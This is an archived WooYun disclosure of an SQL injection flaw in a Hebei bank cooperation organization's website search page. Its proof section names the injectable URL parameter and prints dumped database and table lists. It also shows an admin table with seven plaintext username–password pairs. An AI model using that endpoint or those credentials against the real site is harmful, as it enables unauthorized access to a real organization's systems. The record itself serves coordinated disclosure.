当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061993

漏洞标题：河北省城市商业银行合作组织sql注射 后台密码泄露

相关厂商：河北省城市商业银行合作组织

漏洞作者： 雅柏菲卡

提交时间：2014-05-23 14:42

修复时间：2014-07-07 14:42

公开时间：2014-07-07 14:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-23： 细节已通知厂商并且等待厂商处理中
2014-05-28： 厂商已经确认，细节仅向厂商公开
2014-06-07： 细节向核心白帽子及相关领域专家公开
2014-06-17： 细节向普通白帽子公开
2014-06-27： 细节向实习白帽子公开
2014-07-07： 细节向公众公开

简要描述：

............

详细说明：

.......

漏洞证明：

http://www.hbccb.org/searchlist.asp?key=1  
available databases [8]:
[*] hebccb
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] weixindb
Database: hebccb
[14 tables]
+--------------------+
| dbo.My_GG          |
| dbo.My_GHFC_Menu1  |
| dbo.My_GHFC_Menu2  |
| dbo.My_Link        |
| dbo.My_News        |
| dbo.My_OP          |
| dbo.My_OPList      |
| dbo.My_Tese        |
| dbo.My_User        |
| dbo.S3_Tmp         |
| dbo.dtproperties   |
| dbo.syscommAnD     |
| dbo.sysconstraints |
| dbo.syssegments    |
+--------------------+
[7 entries]
+----+--------------------+---------------+-----------+---------------+--------------------------------------------------+
| ID | User_LastTime      | User_LimtIP   | User_Name | User_Password | User_Type                                        |
+----+--------------------+---------------+-----------+---------------+--------------------------------------------------+
| 7  | 03  6 2008  7:09AM | 192.168.188.2 | cdccb     | cdccb         | \b3\d0\b5\c2\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0       |
| 14 | 12  2 2009  1:49PM | 192.168.188.2 | hdcb      | hdcb          | \ba\aa\b5\a6\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0       |
| 3  | 12  2 2009  4:27PM | 192.168.188.2 | qhdccb    | qhdccb        | \c7\d8\bb\ca\b5\ba\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0 |
| 10 | 12  3 2009 10:58AM | 192.168.188.2 | xtccb     | xtccb         | \d0\cf\cc\a8\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0       |
| 5  | 12  3 2009 11:17AM | 192.168.188.2 | tsccb     | tsccb         | \cc\c6\c9\bd\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0       |
| 1  | 12  3 2009 11:21AM | 192.168.188.2 | czccb     | czccb         | \b2\d7\d6\dd\d2\f8\d0\d0                         |
| 6  | 12  4 2009  3:20PM | 192.168.188.2 | zjkccb    | zjkccb        | \d5\c5\bc\d2\bf\da\ca\d0\c9\cc\d2\b5\d2\f8\d0\d0 |
+----+--------------------+---------------+-----------+---------------+--------------------------------------------------+

修复方案：

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-05-28 10:17

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给河北分中心处置。

最新状态：

暂无

漏洞评价：

评论